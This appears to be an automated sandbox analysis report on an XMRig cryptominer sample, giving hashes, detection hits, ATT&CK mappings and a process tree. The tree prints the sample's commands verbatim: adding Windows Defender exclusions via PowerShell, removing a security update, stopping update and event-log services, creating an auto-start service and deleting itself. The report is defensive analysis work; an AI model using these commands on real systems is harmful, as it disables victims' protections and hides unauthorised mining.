xmrig | 84b648a44cb518cfb6a570ad58e3ba43af060795ffb81c42b47c373bbcdd9ec0

Analysis

max time kernel
88s
max time network
120s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
21-08-2024 19:57

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General

Target

ab8e4951cf27f783f942f9de6ea6bff0N.exe
Size

5.4MB
MD5

ab8e4951cf27f783f942f9de6ea6bff0
SHA1

680808698f938c3b100832c9cf7b609d2e477401
SHA256

84b648a44cb518cfb6a570ad58e3ba43af060795ffb81c42b47c373bbcdd9ec0
SHA512

4d86772e9484fc618bfb39ff88c4a206a7721c1e47ac515a81202c22082f1d56a85983168e57c2b8e1a1ddb1d0823cd1ae56b58271f312e99fe260fa76327555
SSDEEP

98304:KggSZTFznDHwE8oohoIgNgx+r3P4jw4fn9E32RW0O2gT/gQGhP3oFL6p4kvDZ/Hn:DgSZJznDHMo+JgNgx+r3P+e32BO2gjgj

Score

10^/10

xmrig evasion execution miner persistence upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 8 IoCs

miner

resource	yara_rule
behavioral1/memory/1808-33-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/1808-34-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/1808-36-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/1808-37-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/1808-40-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/1808-39-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/1808-38-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/1808-41-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2500	powershell.exe
2608	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Deletes itself 1 IoCs

pid	Process
2308	cmd.exe

Executes dropped EXE 2 IoCs

pid	Process
472	Process not Found
2304	fqwofdtexigy.exe

Loads dropped DLL 1 IoCs

pid	Process
472	Process not Found

UPX packed file 13 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1808-33-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1808-34-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1808-32-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1808-31-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1808-30-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1808-29-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1808-28-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1808-36-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1808-37-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1808-40-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1808-39-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1808-38-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1808-41-0x0000000140000000-0x0000000140848000-memory.dmp	upx

Power Settings 1 TTPs 8 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
2248	powercfg.exe
2372	powercfg.exe
2284	powercfg.exe
2568	powercfg.exe
2560	powercfg.exe
2548	powercfg.exe
1804	powercfg.exe
3048	powercfg.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	fqwofdtexigy.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	ab8e4951cf27f783f942f9de6ea6bff0N.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2304 set thread context of 1976	2304	fqwofdtexigy.exe	86
PID 2304 set thread context of 1808	2304	fqwofdtexigy.exe	90

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\wusa.lock	wusa.exe
File created	C:\Windows\wusa.lock	wusa.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2460	sc.exe
2684	sc.exe
800	sc.exe
396	sc.exe
1864	sc.exe
2208	sc.exe
2716	sc.exe
2584	sc.exe
2624	sc.exe
1004	sc.exe
580	sc.exe
2812	sc.exe
2228	sc.exe
1088	sc.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 00b38a6004f4da01	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2632	ab8e4951cf27f783f942f9de6ea6bff0N.exe
2500	powershell.exe
2632	ab8e4951cf27f783f942f9de6ea6bff0N.exe
2632	ab8e4951cf27f783f942f9de6ea6bff0N.exe
2632	ab8e4951cf27f783f942f9de6ea6bff0N.exe
2632	ab8e4951cf27f783f942f9de6ea6bff0N.exe
2632	ab8e4951cf27f783f942f9de6ea6bff0N.exe
2632	ab8e4951cf27f783f942f9de6ea6bff0N.exe
2632	ab8e4951cf27f783f942f9de6ea6bff0N.exe
2632	ab8e4951cf27f783f942f9de6ea6bff0N.exe
2632	ab8e4951cf27f783f942f9de6ea6bff0N.exe
2632	ab8e4951cf27f783f942f9de6ea6bff0N.exe
2632	ab8e4951cf27f783f942f9de6ea6bff0N.exe
2632	ab8e4951cf27f783f942f9de6ea6bff0N.exe
2632	ab8e4951cf27f783f942f9de6ea6bff0N.exe
2632	ab8e4951cf27f783f942f9de6ea6bff0N.exe
2632	ab8e4951cf27f783f942f9de6ea6bff0N.exe
2304	fqwofdtexigy.exe
2608	powershell.exe
2304	fqwofdtexigy.exe
2304	fqwofdtexigy.exe
2304	fqwofdtexigy.exe
2304	fqwofdtexigy.exe
2304	fqwofdtexigy.exe
2304	fqwofdtexigy.exe
2304	fqwofdtexigy.exe
2304	fqwofdtexigy.exe
2304	fqwofdtexigy.exe
2304	fqwofdtexigy.exe
2304	fqwofdtexigy.exe
2304	fqwofdtexigy.exe
1808	nslookup.exe
1808	nslookup.exe
1808	nslookup.exe
1808	nslookup.exe
1808	nslookup.exe
1808	nslookup.exe
1808	nslookup.exe
1808	nslookup.exe
1808	nslookup.exe
1808	nslookup.exe
1808	nslookup.exe
1808	nslookup.exe
1808	nslookup.exe
1808	nslookup.exe
1808	nslookup.exe
1808	nslookup.exe
1808	nslookup.exe
1808	nslookup.exe
1808	nslookup.exe
1808	nslookup.exe
1808	nslookup.exe
1808	nslookup.exe
1808	nslookup.exe
1808	nslookup.exe
1808	nslookup.exe
1808	nslookup.exe
1808	nslookup.exe
1808	nslookup.exe
1808	nslookup.exe
1808	nslookup.exe
1808	nslookup.exe
1808	nslookup.exe
1808	nslookup.exe

Suspicious use of AdjustPrivilegeToken 11 IoCs

description	pid	Process
Token: SeDebugPrivilege	2500	powershell.exe
Token: SeShutdownPrivilege	2284	powercfg.exe
Token: SeShutdownPrivilege	2568	powercfg.exe
Token: SeShutdownPrivilege	2560	powercfg.exe
Token: SeShutdownPrivilege	2548	powercfg.exe
Token: SeDebugPrivilege	2608	powershell.exe
Token: SeShutdownPrivilege	2372	powercfg.exe
Token: SeShutdownPrivilege	2248	powercfg.exe
Token: SeShutdownPrivilege	1804	powercfg.exe
Token: SeShutdownPrivilege	3048	powercfg.exe
Token: SeLockMemoryPrivilege	1808	nslookup.exe

Suspicious use of WriteProcessMemory 23 IoCs

description	pid	Process	procid_target
PID 2848 wrote to memory of 2704	2848	cmd.exe	39
PID 2848 wrote to memory of 2704	2848	cmd.exe	39
PID 2848 wrote to memory of 2704	2848	cmd.exe	39
PID 2308 wrote to memory of 1244	2308	cmd.exe	64
PID 2308 wrote to memory of 1244	2308	cmd.exe	64
PID 2308 wrote to memory of 1244	2308	cmd.exe	64
PID 1308 wrote to memory of 2884	1308	cmd.exe	72
PID 1308 wrote to memory of 2884	1308	cmd.exe	72
PID 1308 wrote to memory of 2884	1308	cmd.exe	72
PID 2304 wrote to memory of 1976	2304	fqwofdtexigy.exe	86
PID 2304 wrote to memory of 1976	2304	fqwofdtexigy.exe	86
PID 2304 wrote to memory of 1976	2304	fqwofdtexigy.exe	86
PID 2304 wrote to memory of 1976	2304	fqwofdtexigy.exe	86
PID 2304 wrote to memory of 1976	2304	fqwofdtexigy.exe	86
PID 2304 wrote to memory of 1976	2304	fqwofdtexigy.exe	86
PID 2304 wrote to memory of 1976	2304	fqwofdtexigy.exe	86
PID 2304 wrote to memory of 1976	2304	fqwofdtexigy.exe	86
PID 2304 wrote to memory of 1976	2304	fqwofdtexigy.exe	86
PID 2304 wrote to memory of 1808	2304	fqwofdtexigy.exe	90
PID 2304 wrote to memory of 1808	2304	fqwofdtexigy.exe	90
PID 2304 wrote to memory of 1808	2304	fqwofdtexigy.exe	90
PID 2304 wrote to memory of 1808	2304	fqwofdtexigy.exe	90
PID 2304 wrote to memory of 1808	2304	fqwofdtexigy.exe	90

C:\Users\Admin\AppData\Local\Temp\ab8e4951cf27f783f942f9de6ea6bff0N.exe
"C:\Users\Admin\AppData\Local\Temp\ab8e4951cf27f783f942f9de6ea6bff0N.exe"
1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:2632
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2500
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2848
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    - Drops file in Windows directory
    PID:2704
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:2812
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:2684
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:2716
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:2584
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:800
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2548
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2560
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2568
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2284
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe delete "JVNIRHNX"
  2⤵
  - Launches sc.exe
  PID:2624
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe create "JVNIRHNX" binpath= "C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe" start= "auto"
  2⤵
  - Launches sc.exe
  PID:1004
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop eventlog
  2⤵
  - Launches sc.exe
  PID:580
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe start "JVNIRHNX"
  2⤵
  - Launches sc.exe
  PID:396
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\ab8e4951cf27f783f942f9de6ea6bff0N.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2308
- - C:\Windows\system32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:1244

C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe
C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2304
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2608
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1308
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    - Drops file in Windows directory
    PID:2884
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:1088
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:2460
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:1864
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:2228
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:2208
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2372
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2248
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:3048
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:1804
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:1976
- C:\Windows\system32\nslookup.exe
  nslookup.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1808

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe

Filesize
5.4MB

MD5
ab8e4951cf27f783f942f9de6ea6bff0

SHA1
680808698f938c3b100832c9cf7b609d2e477401

SHA256
84b648a44cb518cfb6a570ad58e3ba43af060795ffb81c42b47c373bbcdd9ec0

SHA512
4d86772e9484fc618bfb39ff88c4a206a7721c1e47ac515a81202c22082f1d56a85983168e57c2b8e1a1ddb1d0823cd1ae56b58271f312e99fe260fa76327555

Download Submit
memory/1808-39-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1808-29-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1808-33-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1808-40-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1808-37-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1808-36-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1808-28-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1808-38-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1808-41-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1808-30-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1808-31-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1808-32-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1808-35-0x00000000000B0000-0x00000000000D0000-memory.dmp

Filesize
128KB

Download
memory/1808-34-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1976-20-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/1976-26-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/1976-19-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/1976-21-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/1976-22-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/1976-23-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/2500-12-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

Filesize
9.6MB

Download
memory/2500-4-0x000007FEF611E000-0x000007FEF611F000-memory.dmp

Filesize
4KB

Download
memory/2500-10-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

Filesize
9.6MB

Download
memory/2500-11-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

Filesize
9.6MB

Download
memory/2500-9-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

Filesize
9.6MB

Download
memory/2500-8-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

Filesize
9.6MB

Download
memory/2500-7-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

Filesize
9.6MB

Download
memory/2500-6-0x0000000002290000-0x0000000002298000-memory.dmp

Filesize
32KB

Download
memory/2500-5-0x000000001B400000-0x000000001B6E2000-memory.dmp

Filesize
2.9MB

Download
memory/2608-18-0x0000000000A30000-0x0000000000A38000-memory.dmp

Filesize
32KB

Download
memory/2608-17-0x0000000019FB0000-0x000000001A292000-memory.dmp

Filesize
2.9MB

Download